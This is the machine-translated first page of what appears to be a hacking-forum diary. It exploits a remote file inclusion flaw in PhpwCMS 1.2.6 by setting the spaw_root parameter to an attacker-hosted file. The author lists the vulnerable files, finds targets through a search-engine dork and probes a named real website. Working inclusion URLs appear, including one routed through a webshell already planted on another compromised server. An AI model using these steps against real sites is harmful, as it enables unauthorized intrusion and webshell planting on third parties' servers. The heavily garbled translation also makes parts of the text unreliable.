First, the visible crack announced
Recently wanted to study the document to contain the crack, was seeing the crack announcement which accidentally contained about the document. The approximate meaning is this, the PhpwCMS 1.2.6 system's following document existence documents contain the crack: include/inc_ext/spaw/dialogs/table.php
include/inc_ext/spaw/dialogs/a.php
include/inc_ext/spaw/dialogs/colorpicker.php
include/inc_ext/spaw/dialogs/confirm.php
include/inc_ext/spaw/dialogs/img.php
include/inc_ext/spaw/dialogs/img_library.php
include/inc_ext/spaw/dialogs/td.php
In document $spaw_root in the filtration situation, has not contained ' the ** class/lang.class.php'。 specific code to announce that has not given. May use following url to use this crack, http://website1/include/inc_ext/spaw/dialogs/table.php?spaw_root=http://website2/, website1 has crack's website, website2 is the attack website, under the table of contents which website2 is at has the class/lang.class.php document.
Second, study the first day
Moves immediately, I use google to search inurl: “phpwcms/index.php? id=”, searches to more than 54,800 results, basically is overseas. Looked like this time has sent, this overseas wenshell definitely was one big piles. Ha-ha ......, heh heh ......Clicks on a website casually, is the US: http://arena-sv.jans-webdesign.com, did not know that this website does have the crack. I use http://arena-sv.jans-webdesign.com/phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root=http://www.baidu.com/ to examine, certainly http://www.baidu.com/class/lang.class.php does not exist, by now the page demonstrated as shown in Figure one, prompts has not found the page. This had indicated this website existence document contains the crack, such has crack's website to click on one is casually.
Examines has the document to contain the crack
Now starts to use this crack, constructs class in mine support asp website root directory the table of contents, constructs the lang.class.php document inside class. But when I use the browser glances over http://www.xxxx.xx/class/lang.class.php's time, prompts cannot find the document. Is the server which my website is at has not established? I tried has found several webshell, browsing time to appear cannot find the document the question.
Third, study the second day
Searches the discovery had crack's website becomes quite few, the majority of websites have been made up by the crack, but also in some part of US's website has been hung some and the counter-war related picture or some national flags. What fortunately was which website yesterday's has not been fallen black by others, but also had the opportunity study. I was obtaining jsp wenshell accidentally, tried to write a php document, in browser browsing time what appeared was the source document. Looks like now may use this jsp now webshell to make the springboard.
Constructs class inside webshell the folder, then uploads a lang.class.php spatial document inside the class table of contents, inscribes inside the document. Glances over http://..../gate/download.jsp?file=/opt/oracle/product/10gbi/j2ee/gate/applications/gate/gate/gate/class/lang.class.php on the browser, the demonstration is, then the submission http://arena-sv.jans-webdesign.com/phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root=http://..../gate/download.jsp?file=%2Fopt%2Foracle%2Fproduct%2F10gbi%2Fj2ee%2Fgate%2Fapplications%2Fgate%2Fgate%2Fgate%2F,%2F is/meaning.
Other pages: : 1 * 2 * Next>>
|
You are here: hacking technology
> hacker invade
> Content
Category: Home
> hacker invade